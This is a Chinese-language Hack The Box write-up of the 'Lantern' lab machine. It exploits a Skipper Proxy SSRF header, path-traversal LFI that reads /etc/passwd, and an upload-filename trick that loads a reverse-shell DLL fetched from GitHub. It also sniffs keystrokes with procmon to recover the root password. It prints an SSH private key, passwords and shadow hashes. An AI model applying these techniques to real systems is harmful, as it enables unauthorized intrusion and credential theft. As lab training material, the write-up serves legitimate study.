Recommand : Let’s Sign Up HTB Academy to get Higher level of knowledge :P
非常推薦 : 想要變强嗎? 快來加入 HTB Academy 獲得更高級的知識吧 :P
Lantern
https://www.hackthebox.com/achievement/machine/463126/621
0x1 Nmap 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 80:c9:47:d5:89:f8:50:83:02:5e:fe:53:30:ac:2d:0e (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGusUxyRLIhzLUjTy760PsP+hfg8+1NEQLQQfDeDRpoNyzq7OAGHksIqN1Mao6wZ7KRIU9FeeO4j3v1tygt+RgQ= | 256 d4:22:cf:fe:b1:00:cb:eb:6d:dc:b2:b4:64:6b:9d:89 (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIN9saUksNH519vji9ytatnGGy+QGBN+u+vur9+/YmVja 80/tcp open http syn-ack ttl 63 Skipper Proxy |_http-server-header: Skipper Proxy |_http-title: Did not follow redirect to http://lantern.htb/ | http-methods: |_ Supported Methods: HEAD OPTIONS GET | fingerprint-strings: | FourOhFourRequest: | HTTP/1.0 404 Not Found | Content-Length: 207 | Content-Type: text/html; charset=utf-8 | Date: Sat, 17 Aug 2024 19:02:29 GMT | Server: Skipper Proxy | <!doctype html> | <html lang=en> | <title>404 Not Found</title> | <h1>Not Found</h1> | <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p> | GenericLines, Help, RTSPRequest, SSLSessionReq, TerminalServerCookie: | HTTP/1.1 400 Bad Request | Content-Type: text/plain; charset=utf-8 | Connection: close | Request | GetRequest: | HTTP/1.0 302 Found | Content-Length: 225 | Content-Type: text/html; charset=utf-8 | Date: Sat, 17 Aug 2024 19:02:23 GMT | Location: http://lantern.htb/ | Server: Skipper Proxy | <!doctype html> | <html lang=en> | <title>Redirecting...</title> | <h1>Redirecting...</h1> | <p>You should be redirected automatically to the target URL: <a href="http://lantern.htb/" >http://lantern.htb/</a>. If not, click the link . | HTTPOptions: | HTTP/1.0 200 OK | Allow: HEAD, OPTIONS, GET | Content-Length: 0 | Content-Type: text/html; charset=utf-8 | Date: Sat, 17 Aug 2024 19:02:24 GMT |_ Server: Skipper Proxy 3000/tcp open ppp? syn-ack ttl 63 | fingerprint-strings: | GetRequest: | HTTP/1.1 500 Internal Server Error | Connection: close | Content-Type: text/plain; charset=utf-8 | Date: Sat, 17 Aug 2024 19:02:29 GMT | Server: Kestrel | System.UriFormatException: Invalid URI: The hostname could not be parsed. | System.Uri.CreateThis(String uri, Boolean dontEscape, UriKind uriKind, UriCreationOptions& creationOptions) | System.Uri..ctor(String uriString, UriKind uriKind) | Microsoft.AspNetCore.Components.NavigationManager.set_BaseUri(String value) | Microsoft.AspNetCore.Components.NavigationManager.Initialize(String baseUri, String uri) | Microsoft.AspNetCore.Components.Server.Circuits.RemoteNavigationManager.Initialize(String baseUri, String uri) | Microsoft.AspNetCore.Mvc.ViewFeatures.StaticComponentRenderer.<InitializeStandardComponentServicesAsync>g__InitializeCore|5_0(HttpContext httpContext) | Microsoft.AspNetCore.Mvc.ViewFeatures.StaticC | HTTPOptions: | HTTP/1.1 200 OK | Content-Length: 0 | Connection: close | Date: Sat, 17 Aug 2024 19:02:34 GMT | Server: Kestrel | Help: | HTTP/1.1 400 Bad Request | Content-Length: 0 | Connection: close | Date: Sat, 17 Aug 2024 19:02:29 GMT | Server: Kestrel | RTSPRequest: | HTTP/1.1 505 HTTP Version Not Supported | Content-Length: 0 | Connection: close | Date: Sat, 17 Aug 2024 19:02:34 GMT | Server: Kestrel | SSLSessionReq, TerminalServerCookie: | HTTP/1.1 400 Bad Request | Content-Length: 0 | Connection: close | Date: Sat, 17 Aug 2024 19:02:50 GMT |_ Server: Kestrel 2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
有個80和3000端口。
0xFF 3000 - LanternAdmin
直接打開這個網頁需要賬號密碼,基本的測試了之後什麼也沒有,因為目前沒有密碼,所以暫時先跳過。
0x2 80 - lantern.htb
來到80端口,看到下面有一些填郵箱的東西感覺就是像假的一樣,所以看一下這個http是什麼服務器:
1 2 $ whatweb http://lantern.htb/ http://lantern.htb/ [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Skipper Proxy], IP[10.129.18.83], Meta-Author[Devcrud], Script, Title[Lantern]
可以看到它返回了 Skipper Proxy
,於是谷歌搜索一下:
看起來這個poc已經在一兩年前,而且poc也很簡單就只需要加一個HTTP頭就可以了,所以隨手試一下看一下工作不:
1 2 3 4 5 6 7 8 9 10 Proof Of Concept: 1- Add header "X-Skipper-Proxy" to your request 2- Add the aws metadata to the path GET /latest/meta-data/iam/security-credentials HTTP/1.1 Host: yourskipperdomain.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 X-Skipper-Proxy: http://169.254.169.254 Connection: close
https://www.exploit-db.com/exploits/51111
隨手試了一下之後,POC居然可以用,應該要用這個漏洞去找一些什麼東西
而且請求的數據去某個服務器,服務器返回的內容它也會返回,也就是SSRF。
既然是這樣子的話,可以嘗試訪問一些機器內部端口,首先隨便訪問一個不存在的端口看一下它會返回什麼,如上圖
然後訪問一個存在的端口:
所以可以用FFUF去掃描裡面的端口,請求包如下:
1 2 3 4 5 6 7 8 9 10 $ cat ffufport.req GET / HTTP/1.1 Host: lantern.htb User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 X-Skipper-Proxy: http://127.0.0.1:FUZZ Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Connection: keep-alive Upgrade-Insecure-Requests: 1
命令如下:
1 2 3 4 5 $ for x in {1..65535} ; do echo $x >> port.txt ; done $ ffuf -request ffufport.req -request-proto http -w port.txt
掃到了這些端口:
3000端口是公開的,所以先試下5000端口。
0x3 5000 - InternaLantern 嘗試訪問 5000,根據POC,因為頭要帶上 X-Skipper-Proxy: http://127.0.0.1:5000
,所以去商店找一下修改HTTP頭的插件,找到這個:
https://addons.mozilla.org/en-US/firefox/addon/header-editor/
安裝了之後就可以做如下的設定:
然後刷新一下網頁就看到了神奇的一幕:
和往常一樣看一下加載的什麼dll ,因為他是 blazor
。
然後把 Microsoft.*
和 System.*
的全部忽略,剩下上面的那個dll,會比較吸引我
是sqlite,有一堆base64,因為感覺到有些奇怪,所以嘗試解碼看看,
直到第六個,看到了賬號密碼:
如下:
1 System administrator, First day: 21/1/2024, Initial credentials admin:AJbFA_Q@925p9ap
其實也有第二種方法,他會把sqlite保存到瀏覽器的緩存中,所以也可以dump下來:
保存了之後如下:
用jq提取所有數字,因爲他是10進制,ascii會正常顯示,所以不需要太多的處理,這裏用python處理:
1 2 $ cat borzed.js | jq -r '.[]' > chr.txt
1 2 3 4 file = open('chr.txt' ,'r' ) for line in file: print (chr(int(line)),end='' )
這樣也可以得到賬號密碼。
0x4 3000 - Lantern Admin 然後使用上面的賬號密碼去登錄一下試一下:
進去的一個後臺管理頁面,但也是個半成品:
裡面有一個可以上傳文件的功能,還可以手動輸入模組名字
另外注意到這個python腳本中有LFI:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 from flask import Flask, render_template, send_file, request, redirect, json from werkzeug.utils import secure_filename import os app=Flask("__name__" ) @app.route('/' ) def index(): if request.headers['Host' ] != "lantern.htb" : return redirect("http://lantern.htb/" , code=302) return render_template("index.html" ) @app.route('/vacancies' ) def vacancies(): return render_template('vacancies.html' ) @app.route('/submit' , methods=['POST' ]) def save_vacancy(): name = request.form.get('name' ) email = request.form.get('email' ) vacancy = request.form.get('vacancy' , default='Middle Frontend Developer' ) if 'resume' in request.files: try: file = request.files['resume' ] resume_name = file.filename if resume_name.endswith('.pdf' ) or resume_name == '' : filename = secure_filename(f"resume-{name}-{vacancy}-latern.pdf" ) upload_folder = os.path.join(os.getcwd(), 'uploads' ) destination = '/' .join ([upload_folder, filename]) file.save(destination) else : return "Only PDF files allowed!" except: return "Something went wrong!" return "Thank you! We will conact you very soon!" @app.route('/PrivacyAndPolicy' ) def sendPolicyAgreement(): lang = request.args.get('lang' ) file_ext = request.args.get('ext' ) try: return send_file(f'/var/www/sites/localisation/{lang}.{file_ext}' ) except: return send_file(f'/var/www/sites/localisation/default/policy.pdf' , 'application/pdf' ) if __name__ == '__main__' : app.run(host='127.0.0.1' , port=8000)
嘗試一下,確實有:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 $ curl 'http://lantern.htb/PrivacyAndPolicy?lang=../../../../../../../../../&ext=/etc/passwd' root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync :x:4:65534:sync :/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www/sites:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:104::/nonexistent:/usr/sbin/nologin systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin pollinate:x:105:1::/var/cache/pollinate:/bin/false sshd:x:106:65534::/run/sshd:/usr/sbin/nologin syslog:x:107:113::/home/syslog:/usr/sbin/nologin uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin tomas:x:1000:1000:tomas:/home/tomas:/bin/bash lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false _laurel:x:998:998::/var/log/laurel:/bin/false
它這裡可以輸入模組的名字所以隨便輸入了一下看到:
默認是 Logs
那麼應該是對應 /opt/components/Logs.dll
,所以嘗試一下載一下:
1 2 3 4 $ curl 'http://lantern.htb/PrivacyAndPolicy?lang=../../../../../../../../../&ext=/opt/components/Logs.dll' --output Logs.dll % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 8192 100 8192 0 0 30019 0 --:--:-- --:--:-- --:--:-- 30117
反編譯得到下面的圖片,裡面好像沒什麼看的,就是普通的讀取日誌,但這裡需要注意的是,它是服務器的模組,而不是前端的模組。
0x5 Founding bug on Blazor 谷歌查了一下發現burp可以安裝下列的插件,這樣子就會更容易分析這個框架。
發現上傳按鈕它會上傳到 images
下面的文件夾,所以嘗試一下LFI,看看他能不能加載上傳的模組:
看來只允許在 /opt/components
,但是如果上傳 Logs.dll
的時候,改個名字看看,會不會有任意上傳呢?
我嘗試增加了三個字節:../
但是這裡系統出現了一個錯誤:
這個錯誤不像是平常的報錯,像是json格式裂開的樣子。
1 2 3 4 5 6 7 8 9 10 11 12 System.Text.Json.JsonException: Expected depth to be zero at the end of the JSON payload. There is an open JSON object or array that should be closed. Path: $ | LineNumber: 0 | BytePositionInLine: 135. ---> System.Text.Json.JsonReaderException: Expected depth to be zero at the end of the JSON payload. There is an open JSON object or array that should be closed. LineNumber: 0 | BytePositionInLine: 135. at System.Text.Json.ThrowHelper.ThrowJsonReaderException(Utf8JsonReader& json, ExceptionResource resource, Byte nextByte, ReadOnlySpan`1 bytes) at System.Text.Json.Utf8JsonReader.ReadSingleSegment() at System.Text.Json.Utf8JsonReader.Read() at System.Text.Json.JsonSerializer.Read[TValue](Utf8JsonReader& reader, JsonTypeInfo jsonTypeInfo) --- End of inner exception stack trace --- at System.Text.Json.ThrowHelper.ReThrowWithPath(ReadStack& state, JsonReaderException ex) at System.Text.Json.JsonSerializer.Read[TValue](Utf8JsonReader& reader, JsonTypeInfo jsonTypeInfo) at Microsoft.JSInterop.Infrastructure.DotNetDispatcher.ParseArguments(JSRuntime jsRuntime, String methodIdentifier, String arguments, Type[] parameterTypes) at Microsoft.JSInterop.Infrastructure.DotNetDispatcher.InvokeSynchronously(JSRuntime jsRuntime, DotNetInvocationInfo& callInfo, IDotNetObjectReference objectReference, String argsJson) at Microsoft.JSInterop.Infrastructure.DotNetDispatcher.BeginInvokeDotNet(JSRuntime jsRuntime, DotNetInvocationInfo invocationInfo, String argsJson)
所以我就在想,會不會是系統檢測到數據有被插入,長度不一樣,所以判定失敗。
既然只是判定長度的話,那麼就想到一個方法。。。
1 2 3 4 /opt/components/manesec.dll aaaaaaaaaaaaaaaaaaaaaaa.dll
儅請求發出去的時候,只修改文件名,因為長度是一樣的,這樣就可以忽悠系統,上面的錯誤看起來系統只檢測某個地方的字串應該等於什麼。
嘗試了一下之後,上傳後顯示 success,也就是上傳成功了,然後目錄是可寫的,
既然上傳成功了,輸入剛剛上傳的dll的名字,可以看到他嘗試加載我們上傳的dll,既然是這樣的話那就好辦了。
你可以看到他嘗試加載 上傳的文件名字.Component
這個類。
0x6 Test and building reverse shell 根據反編譯的代碼,就嘗試寫一個webshell,我參考下面的視頻:
VIDEO
最後debug了沒問題之後:
我把源碼放在: https://github.com/manesec/tools4mane/blob/main/Script/Blazor/ReverseShellComponent.cs
0x7 (Windows) Building Webshell DLL 既然有了源碼之後就可以重新編譯成dll,所以創建一個 ASP.NET Core Web API
工程:
把HTTPS的去掉,如下圖:
從上面可以看到,他嘗試加載 上傳的文件名字.Component
這個類。
假如我要上傳 mane.dll
,namespace 一定要是 mane
編譯後得到 dll文件。
0x7 (Linux) Building Webshell DLL 可以不用windows編譯,和上面的windows方法是一樣的:
1 2 3 4 5 $ dotnet new classlib -n mane $ cd mane $ dotnet add package Microsoft.AspNetCore.Components --version 6.0.0 $ wget -O Class1.cs https://raw.githubusercontent.com/manesec/tools4mane/main/Script/Blazor/ReverseShellComponent.cs $ dotnet build -c Release
然後得到dll。
0x8 User - get tomas ssh key 得到了 mane.dll
后,因爲我要上傳到 /opt/components/mane.dll
,先把名字改成 aaaaaaaaaaaaaaaaaaaa.dll
,用burp截取,點擊上傳然後把dll上傳上去,得到:
改成 /opt/components/mane.dll
后,
得到:
你可以看到上面的名字已經變成了 /opt/components/mane.dll
,
然後就獲得了reverse shell:
嘗試提取ssh的key:
得到:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 -----BEGIN OPENSSH PRIVATE KEY----- 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 -----END OPENSSH PRIVATE KEY-----
得到 tomas 這個用戶:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 $ ssh -i key tomas@10.129.18.83 Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-118-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/pro System information as of Sun Aug 18 01:44:10 PM UTC 2024 System load: 0.02 Usage of /: 66.2% of 8.76GB Memory usage: 31% Swap usage: 0% Processes: 221 Users logged in : 0 IPv4 address for eth0: 10.129.18.83 IPv6 address for eth0: dead:beef::250:56ff:feb9:82ef Expanded Security Maintenance for Applications is not enabled. 0 updates can be applied immediately. Enable ESM Apps to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings You have mail. Last login: Sun Aug 18 08:25:55 2024 from 10.10.16.39 tomas@lantern:~$ id uid=1000(tomas) gid=1000(tomas) groups =1000(tomas)
他給你一個提示是會有機器人自動運行 /root/automation.sh
這個脚本,所以叫你去看一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 tomas@lantern:~$ cat /var/mail/tomas From hr@lantern.htb Mon Jan 1 12:00:00 2023 Subject: Welcome to Lantern! Hi Tomas, Congratulations on joining the Lantern team as a Linux Engineer! We're thrilled to have you on board. While we' re setting up your new account, feel free to use the access and toolset of our previous team member. Soon, you'll have all the access you need. Our admin is currently automating processes on the server. Before global testing, could you check out his work in /root/automation.sh? Your insights will be valuable. Exciting times ahead! Best.
0x9 Root - exploit procmon 1 2 3 4 5 6 tomas@lantern:~$ sudo -l Matching Defaults entries for tomas on lantern: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User tomas may run the following commands on lantern: (ALL : ALL) NOPASSWD: /usr/bin/procmon
可以看到它使用管理員運行 /usr/bin/procmon
,
但是 procmon 只是監聽syscall,而且看到了兩個神奇的進程:
1 2 3 4 5 6 7 8 9 $ ps -auxwwf | grep root root 15840 0.0 0.1 17496 5084 ? Ssl 13:40 0:00 /usr/bin/expect -f /root/bot.exp root 15845 0.0 0.1 7272 4056 pts/0 Ss+ 13:40 0:00 \_ nano /root/automation.sh $ ps -auxwwf | grep root root 16101 0.0 0.1 17496 5064 ? Ssl 13:50 0:00 /usr/bin/expect -f /root/bot.exp root 16103 0.0 0.1 7272 4212 pts/0 Ss+ 13:50 0:00 \_ nano /root/automation.sh
結果pid不一樣了,用pspy觀察下:
你可以看到它有一個服務會定時重啟:
1 2 3 4 5 6 7 8 9 10 11 12 13 tomas@lantern:~$ cat /etc/systemd/system/bot.service [Unit] Description=Run bot as root [Service] Type=simple ExecStart=/root/bot.exp User=root WorkingDirectory=/root Restart=always [Install] WantedBy=network-online.target
然後根據procmon的官方文檔,可以抓取syscall
https://github.com/Sysinternals/ProcMon-for-Linux
這裡可能有一些觀眾會看不懂,舉一個通俗點的例子,假設有一個機器人(expect) 在和nano交互,機器人每按一個鍵,或者輸入一些東西到nano,都會用一次 write
,這個write
其實就是syscall
的一部分。
由於procmon是以root運行,配合kernel的支援下,可以監聽所有的syscall,這樣子當機器人開始輸入一些內容到nano的之後,就可以使用procmon來記錄機器人輸入了什麼內容到nano。
但是會有第二個問題,就是由於機器人輸入的速度比較慢, 如果機器人輸入了一半,然後才開始使用procmon監聽,就會損失前半部分的內容。
所以我們可以等到機器人重新啟動的時候就開始監聽。
由於機器人會生成兩個進程,一個是 expect (機器人本身) 另一個是nano。
需要等到機器人重啟的時候才開始監聽,才會記錄完整的內容,命令如下:
1 sudo procmon -p <新的nano的procid>,<新的expect的procid> -e read ,write -c save.db
現在問題是如何等到機器人重新啟動呢?
從上面可以看到當機器人重新啟動的時候會生成一個新的pid ,所以我們可以隨便寫一個腳本,當舊的pid不等於新的pid的時,就意味著機器人重新啟動,所以腳本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import osimport timeimport subprocessdef get_proc_id (proc_name ): id = subprocess.getoutput("pidof " + proc_name) print ("pidof " + proc_name + " = " + id ) return id .strip() old_expect_id = get_proc_id("expect" ) old_nano_id = get_proc_id("nano" ) while (old_expect_id == get_proc_id("expect" ) and old_nano_id == get_proc_id("nano" )): time.sleep(1 ) print ("[*] starting procmon ..." )os.system("sudo procmon -p %s,%s -e read,write -c save.db" % (get_proc_id("expect" ), get_proc_id("nano" )))
然後等待機器人重啟:
等待了10分鐘,等expect重啟之後,procmon 就會自動進行抓包:
最後放在那裡等待10分鐘,等數字不跳了之後就按下 ctrl + c
,然後下載到本地,因為是sqlite格式的,所以可以直接打開看看:
觀察了下,一直按鍵盤的上下鍵,感覺哪裡怪怪的,從下面的圖中你看到了 backup.sh
了嗎?
所以猜測機器人應該是輸入 echo xxxx | backup.sh
之類的,然後一個一個按上下鍵手動的記錄下來,得到:
1 echo Q3Eddtdw3pMB | /opt/backup.sh
當時沒有使用脚本,是因爲假設root的密碼不會很長,所以手動扣下來比寫代碼來的快。
如果想要使用脚本dump下來:
Sqlite如下:
1 SELECT arguments FROM ebpf
然後使用python抓取數據,因爲大多數都是 8..QV
結尾的:
debug的時候看到不知道爲什麽偏移了一格:
這裏需要特殊處理下,如果判斷第十個位置是 [
,則輸出第九個位置,否則輸出第十個位置。
最後脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import sqlite3con = sqlite3.connect("save.db" ) cur = con.cursor() res = cur.execute("SELECT arguments FROM ebpf" ) rows = res.fetchall() for row in rows: if b'\xa0\x38\xde\xcd\x51\x56' in row[0 ]: if row[0 ][9 ] == 0x5b : char = row[0 ][8 ] else : char = row[0 ][9 ] print (chr (char),end='' )
1 2 $ python3 exp.py Q33EEddddttddww33ppMMBB | ssuuddoo ..//bbaacckkuupp..sshh
密碼部分去掉重複后得到:
1 2 3 4 5 6 7 8 $ python3 Python 3.11.9 (main, Apr 10 2024, 13:16:36) [GCC 13.2.0] on linux Type "help" , "copyright" , "credits" or "license" for more information. >>> a = 'QQ33EEddddttddww33ppMMBB' >>> for x in range(0,len(a),2): ... print (a[x],end='' ) ... Q3Eddtdw3pMB
嘗試下root密碼:
0xA More on the box 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 root@lantern:~ spawn nano /root/automation.sh set text "echo Q3Eddtdw3pMB | sudo ./backup.sh" while {1} { foreach char [split $text "" ] { send "$char " sleep 1 } send "\r" sleep 0.5 for {set i 0} {$i < [string length $text ]} {incr i} { send "\b \b" ; } send "\r" }
你可以看到機器人每一秒會按下一個按鍵。
Hashes 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 root@lantern:/home/tomas root:$y$j9T$AIkP6DcupUzzLuD19q8Ea .$yfGWAj50b /chhcl4fuZL3jkIlp2NrkL63C5TXcDumJ0:19718:0:99999:7::: daemon:*:19579:0:99999:7::: bin:*:19579:0:99999:7::: sys:*:19579:0:99999:7::: sync :*:19579:0:99999:7:::games:*:19579:0:99999:7::: man:*:19579:0:99999:7::: lp:*:19579:0:99999:7::: mail:*:19579:0:99999:7::: news:*:19579:0:99999:7::: uucp:*:19579:0:99999:7::: proxy:*:19579:0:99999:7::: www-data:*:19579:0:99999:7::: backup:*:19579:0:99999:7::: list:*:19579:0:99999:7::: irc:*:19579:0:99999:7::: gnats:*:19579:0:99999:7::: nobody:*:19579:0:99999:7::: _apt:*:19579:0:99999:7::: systemd-network:*:19579:0:99999:7::: systemd-resolve:*:19579:0:99999:7::: messagebus:*:19579:0:99999:7::: systemd-timesync:*:19579:0:99999:7::: pollinate:*:19579:0:99999:7::: sshd:*:19579:0:99999:7::: syslog:*:19579:0:99999:7::: uuidd:*:19579:0:99999:7::: tcpdump:*:19579:0:99999:7::: tss:*:19579:0:99999:7::: landscape:*:19579:0:99999:7::: fwupd-refresh:*:19579:0:99999:7::: usbmux:*:19715:0:99999:7::: tomas:$y$j9T$iBupKrKnYvDsG24KvgKi61$P9qTNx7BdVbyqWp5homuabzMA /vr.h3fds5VYDeMII3:19718:0:99999:7::: lxd:!:19715:::::: _laurel:!:19936::::::
Thanks Respect : If my writeup really helps you, Give me a respect to let me know, Thankssssss!
感謝 : 製作不易,如果我的writeup真的幫到你了, 給我一個respect ,這樣我就會知道,感謝你!
Beginner Recommand : If you are a beginner, please use this link to sign up for an HTB Academy to get more Higher level of knowledge.
